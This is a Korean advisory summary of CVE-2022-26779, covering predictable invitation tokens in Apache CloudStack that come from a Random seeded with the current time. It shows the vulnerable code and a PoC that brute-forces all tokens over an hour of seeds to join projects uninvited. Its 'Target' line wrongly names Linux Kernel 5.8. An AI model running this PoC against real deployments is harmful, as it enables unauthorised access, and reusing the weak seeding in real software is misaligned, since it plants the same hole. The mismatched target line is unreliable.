[하루한줄] CVE-2022-26779: Apache Cloudstack 난수 예측을 통한 권한 상승 취약점

URL

https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-vpcc-9rh2-8jfp

Target

  • Linux Kernel 5.8

Explain

Apache의 Cloudstack은 클라우드 서비스를 생성, 관리, 배포하기 위한 오픈소스 클라우드 컴퓨팅 소프트웨어입니다. Cloudstack은 이메일을 통해 프로젝트에 유저를 초대할 수 있는데, 이때 ProjectManagerImpl.inviteAccountToProject 혹은 ProjectManagerImpl.inviteUserToProject 가 호출되며 임의의 토큰이 함께 전송됩니다.

그러나 이 토큰을 생성하는 PRNG(Pseudo Random Number Generator, 의사 난수) 생성기의 시드 랜덤성의 부족으로 토큰 값을 예측할 수 있는 취약점이 발견되었습니다.

초대 토큰을 생성하는 과정은 아래와 같습니다.

private boolean inviteUserToProject(...){
	if (email == null){
	...
	}
	else{
		//generate the token
		String token = generateToken(10);
	...
	}
}

public static String generateToken(int length) {
     String charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
     Random rand = new Random(System.currentTimeMillis());
     StringBuffer sb = new StringBuffer();
     for (int i = 0; i < length; i++) {
         int pos = rand.nextInt(charset.length());
         sb.append(charset.charAt(pos));
     }
     return sb.toString();
 }

inviteUserToProject에서 email이 null이 아닐 경우 generateToken 함수를 호출하는데, 이때 전달되는 length 값은 10으로 고정됩니다. generateToken 함수는 System.currentTimeMillis를 난수 생성 시드로 사용하기 때문에 해커가 토큰 값을 예상할 수 있습니다.

아래 PoC로 해커는 일정 시간동안 가능한 모든 토큰을 생성할 수 있고, 초대되지 않은 임의의 프로젝트에 참여해 권한 상승이 가능합니다.

public static String generateToken(long time, int length) {
    String charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    Random rand = new Random(time);
    StringBuffer sb = new StringBuffer();
    for (int i = 0; i < length; i++) {
        int pos = rand.nextInt(charset.length());
        sb.append(charset.charAt(pos));
    }
    return sb.toString();
}

public static void main(String[] args) {
    long startTime = System.currentTimeMillis();
    LongStream
        .rangeClosed(startTime + 0, startTime + (long) (3_600_000))
        .parallel()
        .mapToObj(time -> generateToken(time, 10))
        .forEach(System.out::println);
}